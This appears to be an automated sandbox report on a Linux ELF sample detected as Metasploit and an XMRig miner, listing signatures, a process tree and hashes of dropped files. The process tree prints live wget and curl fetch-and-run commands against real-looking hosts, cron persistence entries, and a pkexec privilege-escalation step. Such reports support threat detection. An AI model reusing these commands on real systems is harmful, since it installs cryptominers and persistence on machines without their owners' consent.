Overview

overview

10

Static

static

10

a3a1adfcbc...04.elf

ubuntu-24.04-amd64

10

Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240523-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    18-10-2024 17:10

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    a3a1adfcbc6207f3e6e0c35d3cf03904.elf

  • Size

    1KB

  • MD5

    a3a1adfcbc6207f3e6e0c35d3cf03904

  • SHA1

    f10f7793d4d78120395d11d7020ab626995e2c01

  • SHA256

    2636f4d5fa29c3747036d385c3eee167aba1aad58c29597d21df7e42c6149a35

  • SHA512

    d66495bda3366633baed9e80dafb494bbe39cccb331a1b031c239650866489d6e45db7a9e5f3fe4e951e3f321d9eb9a0c7abf00ede54f6548c4235b9ef3debf9

Score
10/10
metasploitxmrigantivmbackdoordefense_evasiondiscoveryexecutionminerpersistenceprivilege_escalatiotrojan

Malware Config

Extracted

Family

metasploit

Version

encoder/shikata_ga_nai

Signatures

  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • XMRig Miner payload 2 IoCs
    miner
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • File and Directory Permissions Modification 1 TTPs 35 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 15 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

    antivm
  • Creates/modifies Cron job 1 TTPs 5 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

    discovery
  • Uses Polkit to run commands 1 IoCs

    Uses Polkit pkexec as a proxy to execute commands, possibly to bypass security restrictions.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads CPU attributes 1 TTPs 2 IoCs
    discovery
  • Command and Scripting Interpreter: Unix Shell 1 TTPs 1 IoCs

    Execute scripts via Unix Shell.

    execution
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 31 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

  • cURL User-Agent 11 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • /tmp/a3a1adfcbc6207f3e6e0c35d3cf03904.elf
    /tmp/a3a1adfcbc6207f3e6e0c35d3cf03904.elf
    1⤵
      PID:2417
      • /usr/bin/wget
        wget -nc http://main.dsn.ovh/dns/lovely -q -P /var/tmp/
        2⤵
          PID:2418
        • /usr/bin/chmod
          chmod 777 /var/tmp/lovely
          2⤵
          • File and Directory Permissions Modification
          PID:2423
        • /usr/bin/curl
          curl http://main.dsn.ovh/dns/lovely -s -o /var/tmp/lovely
          2⤵
          • Reads runtime system information
          PID:2424
        • /usr/bin/chmod
          chmod 777 /var/tmp/lovely
          2⤵
          • File and Directory Permissions Modification
          PID:2426
        • /var/tmp/lovely
          ./lovely
          2⤵
          • Executes dropped EXE
          PID:2427
          • /usr/bin/wget
            wget -nc http://main.dsn.ovh/dns/unix.sh -q -P /var/tmp/
            3⤵
              PID:2428
            • /usr/bin/chmod
              chmod 777 /var/tmp/unix.sh
              3⤵
              • File and Directory Permissions Modification
              PID:2429
            • /usr/bin/curl
              curl http://main.dsn.ovh/dns/unix.sh -s -o /var/tmp/unix.sh
              3⤵
              • Reads runtime system information
              PID:2430
            • /usr/bin/chmod
              chmod 777 /var/tmp/unix.sh
              3⤵
              • File and Directory Permissions Modification
              PID:2432
            • /var/tmp/unix.sh
              ./unix.sh
              3⤵
              • Executes dropped EXE
              PID:2433
            • /bin/sh
              /bin/sh ./unix.sh
              3⤵
                PID:2433
              • /usr/bin/rm
                rm unix.sh
                3⤵
                  PID:2435
                • /usr/bin/wget
                  wget -nc http://main.dsn.ovh/dns/sshd -q -P /var/tmp/
                  3⤵
                    PID:2436
                  • /usr/bin/chmod
                    chmod 777 /var/tmp/sshd
                    3⤵
                    • File and Directory Permissions Modification
                    PID:2454
                  • /usr/bin/curl
                    curl http://main.dsn.ovh/dns/sshd -s -o /var/tmp/sshd
                    3⤵
                    • Reads runtime system information
                    PID:2455
                  • /usr/bin/chmod
                    chmod 777 /var/tmp/sshd
                    3⤵
                    • File and Directory Permissions Modification
                    PID:2457
                  • /usr/bin/wget
                    wget -nc http://main.dsn.ovh/dns/config.json -q -P /var/tmp/
                    3⤵
                      PID:2458
                    • /usr/bin/curl
                      curl http://main.dsn.ovh/dns/config.json -s -o /var/tmp/config.json
                      3⤵
                      • Reads runtime system information
                      PID:2459
                    • /usr/bin/grep
                      grep -qxF
                      3⤵
                      • Reads runtime system information
                      PID:2462
                    • /usr/bin/crontab
                      crontab -l
                      3⤵
                        PID:2461
                      • /usr/bin/crontab
                        crontab -
                        3⤵
                        • Creates/modifies Cron job
                        PID:2464
                      • /usr/bin/crontab
                        crontab -l
                        3⤵
                          PID:2465
                        • /usr/bin/wget
                          wget -nc http://main.dsn.ovh/dns/truct.sh -q -P /var/tmp/
                          3⤵
                            PID:2466
                          • /usr/bin/chmod
                            chmod 777 /var/tmp/truct.sh
                            3⤵
                            • File and Directory Permissions Modification
                            PID:2467
                          • /usr/bin/curl
                            curl http://main.dsn.ovh/dns/truct.sh -s -o /var/tmp/truct.sh
                            3⤵
                            • Reads runtime system information
                            PID:2468
                          • /usr/bin/chmod
                            chmod 777 /var/tmp/truct.sh
                            3⤵
                            • File and Directory Permissions Modification
                            PID:2470
                          • /var/tmp/truct.sh
                            ./truct.sh
                            3⤵
                            • Executes dropped EXE
                            PID:2471
                          • /bin/sh
                            /bin/sh ./truct.sh
                            3⤵
                              PID:2471
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                  PID:2472
                                • /usr/bin/grep
                                  grep -qxF "0 */6 * * * /usr/bin/flock -n /var/tmp/tmp.lock -c 'cd /var/tmp; wget -nc http://main.dsn.ovh/dns/sshd; cd /var/tmp; chmod 777 sshd; cd /var/tmp; curl http://main.dsn.ovh/dns/sshd -o sshd; cd /var/tmp; chmod 777 sshd; cd /var/tmp; wget -nc http://main.dsn.ovh/dns/config.json; cd /var/tmp; curl http://main.dsn.ovh/dns/config.json -o config.json'"
                                  4⤵
                                  • File and Directory Permissions Modification
                                  • Reads runtime system information
                                  PID:2473
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:2475
                                • /usr/bin/crontab
                                  crontab -l
                                  4⤵
                                    PID:2476
                                • /usr/bin/rm
                                  rm truct.sh
                                  3⤵
                                    PID:2477
                                  • /usr/bin/wget
                                    wget -nc http://main.dsn.ovh/dns/brict.sh -q -P /var/tmp/
                                    3⤵
                                      PID:2478
                                    • /usr/bin/chmod
                                      chmod 777 /var/tmp/brict.sh
                                      3⤵
                                      • File and Directory Permissions Modification
                                      PID:2479
                                    • /usr/bin/curl
                                      curl http://main.dsn.ovh/dns/brict.sh -s -o /var/tmp/brict.sh
                                      3⤵
                                      • Reads runtime system information
                                      PID:2480
                                    • /usr/bin/chmod
                                      chmod 777 /var/tmp/brict.sh
                                      3⤵
                                      • File and Directory Permissions Modification
                                      PID:2482
                                    • /var/tmp/brict.sh
                                      ./brict.sh
                                      3⤵
                                      • Executes dropped EXE
                                      PID:2483
                                    • /bin/sh
                                      /bin/sh ./brict.sh
                                      3⤵
                                        PID:2483
                                        • /usr/bin/crontab
                                          crontab -l
                                          4⤵
                                            PID:2484
                                          • /usr/bin/grep
                                            grep -qxF "* * * * * /usr/bin/flock -n /var/tmp/vm.lock -c 'cd /var/tmp; ./sshd'"
                                            4⤵
                                            • Reads runtime system information
                                            PID:2485
                                          • /usr/bin/crontab
                                            crontab -l
                                            4⤵
                                              PID:2488
                                            • /usr/bin/crontab
                                              crontab -
                                              4⤵
                                              • Creates/modifies Cron job
                                              PID:2487
                                          • /usr/bin/rm
                                            rm brict.sh
                                            3⤵
                                              PID:2489
                                            • /usr/bin/flock
                                              /usr/bin/flock -n /var/tmp/vm.lock -c "cd /var/tmp; nohup ./sshd >/dev/null 2>&1 &"
                                              3⤵
                                                PID:2490
                                                • /bin/sh
                                                  /bin/sh -c "cd /var/tmp; nohup ./sshd >/dev/null 2>&1 &"
                                                  4⤵
                                                  • Command and Scripting Interpreter: Unix Shell
                                                  PID:2491
                                              • /usr/bin/wget
                                                wget -nc http://main.dsn.ovh/dns/retrict.sh -q -P /var/tmp/
                                                3⤵
                                                  PID:2493
                                                • /usr/bin/chmod
                                                  chmod 777 /var/tmp/retrict.sh
                                                  3⤵
                                                  • File and Directory Permissions Modification
                                                  PID:2500
                                                • /usr/bin/curl
                                                  curl http://main.dsn.ovh/dns/retrict.sh -s -o /var/tmp/retrict.sh
                                                  3⤵
                                                  • Reads runtime system information
                                                  PID:2501
                                                • /usr/bin/chmod
                                                  chmod 777 /var/tmp/retrict.sh
                                                  3⤵
                                                  • File and Directory Permissions Modification
                                                  PID:2503
                                                • /var/tmp/retrict.sh
                                                  ./retrict.sh
                                                  3⤵
                                                  • Executes dropped EXE
                                                  PID:2504
                                                • /bin/sh
                                                  /bin/sh ./retrict.sh
                                                  3⤵
                                                  • Creates/modifies Cron job
                                                  PID:2504
                                                  • /usr/bin/grep
                                                    grep -qxF "0 */6 * * * root /usr/bin/flock -n /var/tmp/tmp.lock -c 'cd /var/tmp; wget -nc http://main.dsn.ovh/dns/sshd; cd /var/tmp; chmod 777 sshd; cd /var/tmp; curl http://main.dsn.ovh/dns/sshd -o sshd; cd /var/tmp; chmod 777 sshd; cd /var/tmp; wget -nc http://main.dsn.ovh/dns/config.json; cd /var/tmp; curl http://main.dsn.ovh/dns/config.json -o config.json'" /etc/crontab
                                                    4⤵
                                                    • File and Directory Permissions Modification
                                                    • Reads runtime system information
                                                    PID:2505
                                                • /usr/bin/rm
                                                  rm retrict.sh
                                                  3⤵
                                                    PID:2506
                                                  • /usr/bin/wget
                                                    wget -nc http://main.dsn.ovh/dns/politrict.sh -q -P /var/tmp/
                                                    3⤵
                                                      PID:2507
                                                    • /usr/bin/chmod
                                                      chmod 777 /var/tmp/politrict.sh
                                                      3⤵
                                                      • File and Directory Permissions Modification
                                                      PID:2508
                                                    • /usr/bin/curl
                                                      curl http://main.dsn.ovh/dns/politrict.sh -s -o /var/tmp/politrict.sh
                                                      3⤵
                                                      • Reads runtime system information
                                                      PID:2509
                                                    • /usr/bin/chmod
                                                      chmod 777 /var/tmp/politrict.sh
                                                      3⤵
                                                      • File and Directory Permissions Modification
                                                      PID:2514
                                                    • /var/tmp/politrict.sh
                                                      ./politrict.sh
                                                      3⤵
                                                      • Executes dropped EXE
                                                      PID:2515
                                                    • /bin/sh
                                                      /bin/sh ./politrict.sh
                                                      3⤵
                                                      • Creates/modifies Cron job
                                                      PID:2515
                                                      • /usr/bin/grep
                                                        grep -qxF "* * * * * root /usr/bin/flock -n /var/tmp/vm.lock -c 'cd /var/tmp; ./sshd'" /etc/crontab
                                                        4⤵
                                                        • Reads runtime system information
                                                        PID:2516
                                                    • /usr/bin/rm
                                                      rm politrict.sh
                                                      3⤵
                                                        PID:2517
                                                      • /usr/bin/flock
                                                        /usr/bin/flock -n /var/tmp/vm.lock -c "cd /var/tmp; nohup ./sshd >/dev/null 2>&1 &"
                                                        3⤵
                                                          PID:2518
                                                      • /usr/bin/rm
                                                        rm lovely
                                                        2⤵
                                                          PID:2519
                                                        • /usr/bin/wget
                                                          wget -nc http://main.dsn.ovh/dns/lushput -q -P /tmp/
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:2520
                                                        • /usr/bin/chmod
                                                          chmod 777 /tmp/lushput
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:2521
                                                        • /usr/bin/curl
                                                          curl http://main.dsn.ovh/dns/lushput -s -o /tmp/lushput
                                                          2⤵
                                                          • Reads runtime system information
                                                          • Writes file to tmp directory
                                                          PID:2522
                                                        • /usr/bin/chmod
                                                          chmod 777 /tmp/lushput
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:2525
                                                        • /tmp/lushput
                                                          ./lushput "wget -nc http://main.dsn.ovh/dns/bitnow -q -P /var/tmp/; chmod 777 /var/tmp/bitnow; curl http://main.dsn.ovh/dns/bitnow -s -o /var/tmp/bitnow; chmod 777 /var/tmp/bitnow; cd /var/tmp; ./bitnow; cd /var/tmp; rm bitnow"
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          • Executes dropped EXE
                                                          • Writes file to tmp directory
                                                          PID:2526
                                                        • /usr/bin/pkexec
                                                          2⤵
                                                          • Uses Polkit to run commands
                                                          • Reads runtime system information
                                                          PID:2526
                                                        • /usr/bin/rm
                                                          rm -rf "GCONV_PATH=." a3a1adfcbc6207f3e6e0c35d3cf03904.elf gdm3-config-err-dfdHeA gdm3-config-err-m80gEH lushput snap-private-tmp systemd-private-d1a8bbd2b4a7477b80ab07684039d6aa-ModemManager.service-hcRIZ0 systemd-private-d1a8bbd2b4a7477b80ab07684039d6aa-colord.service-3bKmd4 systemd-private-d1a8bbd2b4a7477b80ab07684039d6aa-polkit.service-WyUllI systemd-private-d1a8bbd2b4a7477b80ab07684039d6aa-power-profiles-daemon.service-br72QB systemd-private-d1a8bbd2b4a7477b80ab07684039d6aa-switcheroo-control.service-eIZMch systemd-private-d1a8bbd2b4a7477b80ab07684039d6aa-systemd-logind.service-KyApPM systemd-private-d1a8bbd2b4a7477b80ab07684039d6aa-systemd-oomd.service-cNBRak systemd-private-d1a8bbd2b4a7477b80ab07684039d6aa-systemd-resolved.service-9n8jUN systemd-private-d1a8bbd2b4a7477b80ab07684039d6aa-upower.service-IEOm8S
                                                          2⤵
                                                            PID:2528
                                                          • /usr/bin/rm
                                                            rm -rf .pkexec
                                                            2⤵
                                                              PID:2529
                                                            • /usr/bin/wget
                                                              wget -nc http://main.dsn.ovh/dns/seasbit -q -P /tmp/
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:2530
                                                            • /usr/bin/chmod
                                                              chmod 777 /tmp/seasbit
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:2531
                                                            • /usr/bin/curl
                                                              curl http://main.dsn.ovh/dns/seasbit -s -o /tmp/seasbit
                                                              2⤵
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:2532
                                                            • /usr/bin/chmod
                                                              chmod 777 /tmp/seasbit
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:2534
                                                            • /usr/bin/wget
                                                              wget -nc http://main.dsn.ovh/dns/loadbit -q -P /tmp/
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:2535
                                                            • /usr/bin/chmod
                                                              chmod 777 /tmp/loadbit
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:2536
                                                            • /usr/bin/curl
                                                              curl http://main.dsn.ovh/dns/loadbit -s -o /tmp/loadbit
                                                              2⤵
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:2537
                                                            • /usr/bin/chmod
                                                              chmod 777 /tmp/loadbit
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:2539
                                                            • /tmp/loadbit
                                                              ./loadbit
                                                              2⤵
                                                              • Executes dropped EXE
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:2540
                                                              • /bin/sh
                                                                sh -c -- "rm -rf './ovlcap/'"
                                                                3⤵
                                                                  PID:2542
                                                                  • /usr/bin/rm
                                                                    rm -rf ./ovlcap/
                                                                    4⤵
                                                                      PID:2543
                                                                • /tmp/ovlcap/upper/magic
                                                                  ./ovlcap/upper/magic shell
                                                                  2⤵
                                                                    PID:2540
                                                                  • /bin/bash
                                                                    /bin/bash -c /tmp/seasbit
                                                                    2⤵
                                                                      PID:2540
                                                                    • /tmp/seasbit
                                                                      /tmp/seasbit
                                                                      2⤵
                                                                      • Executes dropped EXE
                                                                      PID:2540
                                                                      • /usr/bin/wget
                                                                        wget -nc http://dash.cloudflare.ovh/mvt/unix.sh -q -P /var/tmp/
                                                                        3⤵
                                                                          PID:2546
                                                                        • /usr/bin/chmod
                                                                          chmod 777 /var/tmp/unix.sh
                                                                          3⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:2547
                                                                        • /usr/bin/curl
                                                                          curl http://dash.cloudflare.ovh/mvt/unix.sh -s -o /var/tmp/unix.sh
                                                                          3⤵
                                                                          • Reads runtime system information
                                                                          PID:2548
                                                                        • /usr/bin/chmod
                                                                          chmod 777 /var/tmp/unix.sh
                                                                          3⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:2550
                                                                        • /var/tmp/unix.sh
                                                                          ./unix.sh
                                                                          3⤵
                                                                          • Executes dropped EXE
                                                                          PID:2551
                                                                        • /usr/bin/rm
                                                                          rm unix.sh
                                                                          3⤵
                                                                            PID:2552
                                                                          • /usr/bin/wget
                                                                            wget -nc http://dash.cloudflare.ovh/mvt/sshd -q -P /var/tmp/
                                                                            3⤵
                                                                              PID:2553
                                                                            • /usr/bin/chmod
                                                                              chmod 777 /var/tmp/sshd
                                                                              3⤵
                                                                              • File and Directory Permissions Modification
                                                                              PID:2560
                                                                            • /usr/bin/curl
                                                                              curl http://dash.cloudflare.ovh/mvt/sshd -s -o /var/tmp/sshd
                                                                              3⤵
                                                                              • Reads runtime system information
                                                                              PID:2561
                                                                            • /usr/bin/chmod
                                                                              chmod 777 /var/tmp/sshd
                                                                              3⤵
                                                                              • File and Directory Permissions Modification
                                                                              PID:2563
                                                                            • /usr/bin/wget
                                                                              wget -nc http://dash.cloudflare.ovh/mvt/config.json -q -P /var/tmp/
                                                                              3⤵
                                                                                PID:2564
                                                                              • /usr/bin/curl
                                                                                curl http://dash.cloudflare.ovh/mvt/config.json -s -o /var/tmp/config.json
                                                                                3⤵
                                                                                • Reads runtime system information
                                                                                PID:2565
                                                                              • /usr/bin/grep
                                                                                grep -qxF
                                                                                3⤵
                                                                                • Reads runtime system information
                                                                                PID:2568
                                                                              • /usr/bin/crontab
                                                                                crontab -l
                                                                                3⤵
                                                                                  PID:2567
                                                                                • /usr/bin/wget
                                                                                  wget -nc http://dash.cloudflare.ovh/mvt/truct.sh -q -P /var/tmp/
                                                                                  3⤵
                                                                                    PID:2569
                                                                                  • /usr/bin/chmod
                                                                                    chmod 777 /var/tmp/truct.sh
                                                                                    3⤵
                                                                                    • File and Directory Permissions Modification
                                                                                    PID:2570
                                                                                  • /usr/bin/curl
                                                                                    curl http://dash.cloudflare.ovh/mvt/truct.sh -s -o /var/tmp/truct.sh
                                                                                    3⤵
                                                                                    • Reads runtime system information
                                                                                    PID:2571
                                                                                  • /usr/bin/chmod
                                                                                    chmod 777 /var/tmp/truct.sh
                                                                                    3⤵
                                                                                    • File and Directory Permissions Modification
                                                                                    PID:2573
                                                                                  • /var/tmp/truct.sh
                                                                                    ./truct.sh
                                                                                    3⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:2574
                                                                                  • /usr/bin/rm
                                                                                    rm truct.sh
                                                                                    3⤵
                                                                                      PID:2575
                                                                                    • /usr/bin/wget
                                                                                      wget -nc http://dash.cloudflare.ovh/mvt/brict.sh -q -P /var/tmp/
                                                                                      3⤵
                                                                                        PID:2576
                                                                                      • /usr/bin/chmod
                                                                                        chmod 777 /var/tmp/brict.sh
                                                                                        3⤵
                                                                                        • File and Directory Permissions Modification
                                                                                        PID:2577
                                                                                      • /usr/bin/curl
                                                                                        curl http://dash.cloudflare.ovh/mvt/brict.sh -s -o /var/tmp/brict.sh
                                                                                        3⤵
                                                                                        • Reads runtime system information
                                                                                        PID:2578
                                                                                      • /usr/bin/chmod
                                                                                        chmod 777 /var/tmp/brict.sh
                                                                                        3⤵
                                                                                        • File and Directory Permissions Modification
                                                                                        PID:2580
                                                                                      • /var/tmp/brict.sh
                                                                                        ./brict.sh
                                                                                        3⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:2581
                                                                                      • /usr/bin/rm
                                                                                        rm brict.sh
                                                                                        3⤵
                                                                                          PID:2582
                                                                                        • /usr/bin/flock
                                                                                          /usr/bin/flock -n /var/tmp/vm.lock -c "cd /var/tmp; nohup ./sshd >/dev/null 2>&1 &"
                                                                                          3⤵
                                                                                            PID:2583
                                                                                          • /usr/bin/wget
                                                                                            wget -nc http://dash.cloudflare.ovh/mvt/retrict.sh -q -P /var/tmp/
                                                                                            3⤵
                                                                                              PID:2584
                                                                                            • /usr/bin/chmod
                                                                                              chmod 777 /var/tmp/retrict.sh
                                                                                              3⤵
                                                                                              • File and Directory Permissions Modification
                                                                                              PID:2585
                                                                                            • /usr/bin/curl
                                                                                              curl http://dash.cloudflare.ovh/mvt/retrict.sh -s -o /var/tmp/retrict.sh
                                                                                              3⤵
                                                                                              • Reads runtime system information
                                                                                              PID:2586
                                                                                            • /usr/bin/chmod
                                                                                              chmod 777 /var/tmp/retrict.sh
                                                                                              3⤵
                                                                                              • File and Directory Permissions Modification
                                                                                              PID:2589
                                                                                            • /var/tmp/retrict.sh
                                                                                              ./retrict.sh
                                                                                              3⤵
                                                                                              • Executes dropped EXE
                                                                                              PID:2590
                                                                                            • /usr/bin/rm
                                                                                              rm retrict.sh
                                                                                              3⤵
                                                                                                PID:2591
                                                                                              • /usr/bin/wget
                                                                                                wget -nc http://dash.cloudflare.ovh/mvt/politrict.sh -q -P /var/tmp/
                                                                                                3⤵
                                                                                                  PID:2592
                                                                                                • /usr/bin/chmod
                                                                                                  chmod 777 /var/tmp/politrict.sh
                                                                                                  3⤵
                                                                                                  • File and Directory Permissions Modification
                                                                                                  PID:2599
                                                                                                • /usr/bin/curl
                                                                                                  curl http://dash.cloudflare.ovh/mvt/politrict.sh -s -o /var/tmp/politrict.sh
                                                                                                  3⤵
                                                                                                  • Reads runtime system information
                                                                                                  PID:2600
                                                                                                • /usr/bin/chmod
                                                                                                  chmod 777 /var/tmp/politrict.sh
                                                                                                  3⤵
                                                                                                  • File and Directory Permissions Modification
                                                                                                  PID:2602
                                                                                                • /var/tmp/politrict.sh
                                                                                                  ./politrict.sh
                                                                                                  3⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:2603
                                                                                                • /usr/bin/rm
                                                                                                  rm politrict.sh
                                                                                                  3⤵
                                                                                                    PID:2604
                                                                                                  • /usr/bin/flock
                                                                                                    /usr/bin/flock -n /var/tmp/vm.lock -c "cd /var/tmp; nohup ./sshd >/dev/null 2>&1 &"
                                                                                                    3⤵
                                                                                                      PID:2605
                                                                                                  • /usr/bin/rm
                                                                                                    rm -rf loadbit ovlcap seasbit
                                                                                                    2⤵
                                                                                                      PID:2606
                                                                                                  • /usr/bin/nohup
                                                                                                    nohup ./sshd
                                                                                                    1⤵
                                                                                                      PID:2492
                                                                                                    • /var/tmp/sshd
                                                                                                      ./sshd
                                                                                                      1⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Checks hardware identifiers (DMI)
                                                                                                      • Reads hardware information
                                                                                                      • Checks CPU configuration
                                                                                                      • Reads CPU attributes
                                                                                                      • Enumerates kernel/hardware configuration
                                                                                                      • Reads runtime system information
                                                                                                      PID:2492

                                                                                                    Network

                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                    Replay Monitor

                                                                                                    Loading Replay Monitor...

                                                                                                    Downloads

                                                                                                    • /tmp/.pkexec/gconv-modules
                                                                                                      Filesize

                                                                                                      32B

                                                                                                      MD5

                                                                                                      b9509d5bee230341cacfed6bd6712bd3

                                                                                                      SHA1

                                                                                                      2dbad9dc54dfd6b14af012c54b3adbd939100fa6

                                                                                                      SHA256

                                                                                                      50f2c869bb56ae55e7b42e02bdd757b10a4bbb5532157c46c0f3f32ab0ebabdd

                                                                                                      SHA512

                                                                                                      d817b5d4cf294e18af8e029d5e82e693825c29d3164ed2bd5a0cb86a6fb68c5de3b8f30595bbf50ee0c7c98fa10601971c9aa98fc8cb96e7775f6306e0fddae6

                                                                                                      Download Submit

                                                                                                    • /tmp/loadbit
                                                                                                      Filesize

                                                                                                      17KB

                                                                                                      MD5

                                                                                                      593e9551a4a9b49323a1fda81fe1dd5e

                                                                                                      SHA1

                                                                                                      3ea957516c02bc2e57ce17401b56e5f2f0288725

                                                                                                      SHA256

                                                                                                      2b305939d1069c7490b3539e2855ed7538c1a83eb2baca53e50e7ce1b3a165ab

                                                                                                      SHA512

                                                                                                      26a3a00e55e742d5d44c90725716417f2399c517ac5d462e0458535f05d656d70b1cc714bc1c8ecb4e6a94d68ed3b47bfaace7645634cfd236057b621a10c518

                                                                                                      Download Submit

                                                                                                    • /tmp/lushput
                                                                                                      Filesize

                                                                                                      14KB

                                                                                                      MD5

                                                                                                      8e3e276e650e6ea21bea16c8c2f3e8c3

                                                                                                      SHA1

                                                                                                      e483074bbe5e41cacbe081f290d7e6b0c3184c7f

                                                                                                      SHA256

                                                                                                      4dcae1bddfc3e2cb98eae84e86fb58ec14ea6ef00778ac5974c4ec526d3da31f

                                                                                                      SHA512

                                                                                                      8b33a40fd39a06a85169f2e4c4172a4d44ec24d50c512db7231ab4575dbf4093bfdabc63dd1b36dda94ec87772469e659abf0650d8982a526d8623a96bf93e38

                                                                                                      Download Submit

                                                                                                    • /tmp/seasbit
                                                                                                      Filesize

                                                                                                      1KB

                                                                                                      MD5

                                                                                                      932df67ea6b8900a30249e311195a58f

                                                                                                      SHA1

                                                                                                      d6b7c2388a75c2c3b71d5ad7130f1d3dfeb7fd83

                                                                                                      SHA256

                                                                                                      e4a58509fea52a4917007b1cd1a87050b0109b50210c5d00e08ece1871af084d

                                                                                                      SHA512

                                                                                                      f6801c3cbc1d28e8f4a5373340081528dc1ece23e59585cc45831177710ac785557ebf364bd8a867f0c687ca518f41913427b27ddd2f2ff64e64ae7ba760fc0c

                                                                                                      Download Submit

                                                                                                    • /var/spool/cron/crontabs/tmp.1A9EnT
                                                                                                      Filesize

                                                                                                      523B

                                                                                                      MD5

                                                                                                      a82b8d9eafa32a24fdc1869457535a08

                                                                                                      SHA1

                                                                                                      c9d5aaf07bb887e843c55a70322716b36c3e09bd

                                                                                                      SHA256

                                                                                                      5b71bd3506a70386df3abf750f31caaf61988ac889064beeea3bd75f7613cb98

                                                                                                      SHA512

                                                                                                      57b4e4626481e193cd48f0d37c3e64990fe443e173ee3ec1e95a1bd2a962e7997345574642e3e41215c97a01c46b8c4486b8a541a55abc47d7af9f346c63e2d8

                                                                                                      Download Submit

                                                                                                    • /var/spool/cron/crontabs/tmp.TStEb8
                                                                                                      Filesize

                                                                                                      176B

                                                                                                      MD5

                                                                                                      675de9e44091acda8c24b6617c16b76a

                                                                                                      SHA1

                                                                                                      37d8ae65481c127a6d6c5d1bf18223e07eca6996

                                                                                                      SHA256

                                                                                                      e6ef2256ff919c0ac87c3de9160d2338010bf2d3263477584f99de5250d9d4be

                                                                                                      SHA512

                                                                                                      7c9c25257d59d5f3d9ef601b5b14ce5c069013b10018328c0a1b7ae19e73e4c6508484fcb972adafac36469c37e62d9a3225528bd0c75bf76c37c36c7dcc90ad

                                                                                                      Download Submit

                                                                                                    • /var/spool/cron/crontabs/tmp.XPtAXf
                                                                                                      Filesize

                                                                                                      593B

                                                                                                      MD5

                                                                                                      e663766a0bc2bafacce741648776e240

                                                                                                      SHA1

                                                                                                      0838179ee392b3aa24d5532bc7f71aa0fa8dc888

                                                                                                      SHA256

                                                                                                      f12c332a4a919629c46fe04808fe9660da5b316f10fb54eecca05ec280e5a90b

                                                                                                      SHA512

                                                                                                      bd32180b56a4d9b518424ab1ec9d2b0fcb40673d05c4aeb88050c6a88adf9d6f443efff2a0f3e6a58764ed2fe0e417a55b42cd41d17c313ddbe75eac05281dab

                                                                                                      Download Submit

                                                                                                    • /var/tmp/brict.sh
                                                                                                      Filesize

                                                                                                      200B

                                                                                                      MD5

                                                                                                      8677d3acf751217ec3c3161ce266e748

                                                                                                      SHA1

                                                                                                      b3bdad150a3d12080a8b0e4942dd1c04ca08dd60

                                                                                                      SHA256

                                                                                                      64a31abd82af27487985a0c0f47946295b125e6d128819d1cbd0f6b62a95d6c4

                                                                                                      SHA512

                                                                                                      cc42b48bd45bdadad56b360fbd2e2176f603f339c8a37236cfa4370b8ac66300a3408eba041a9fd54af3fc9296541ef2a09c5e990c29f51cc09cd26d502def5a

                                                                                                      Download Submit

                                                                                                    • /var/tmp/config.json
                                                                                                      Filesize

                                                                                                      1KB

                                                                                                      MD5

                                                                                                      eae740299e852ad90a690e29e0f436e5

                                                                                                      SHA1

                                                                                                      e11b1d8e042a70ed10ec3dcfe2fb2d44570dd84c

                                                                                                      SHA256

                                                                                                      4837501c5271d76200862fe677dcdbda6552d483c6f7100873e3c04bc9dce51e

                                                                                                      SHA512

                                                                                                      acdc41057dfb45548d12bb4e4feab79f7484518ca1a10e219f455f59a18d5f53444b786aa47f6d85ffa49383ba539745c6a7f4d79935f169ce3dc07b03081df4

                                                                                                      Download Submit

                                                                                                    • /var/tmp/lovely
                                                                                                      Filesize

                                                                                                      1KB

                                                                                                      MD5

                                                                                                      8ecdf266fc81cd1ba7cd4d97f3bf0e0d

                                                                                                      SHA1

                                                                                                      c717efa67280f37ae572e27a3636976a7ca23580

                                                                                                      SHA256

                                                                                                      fe44ef6490fd7534cef77eea7521634d6a5c49388b1c0051ba6432a85a3c5df7

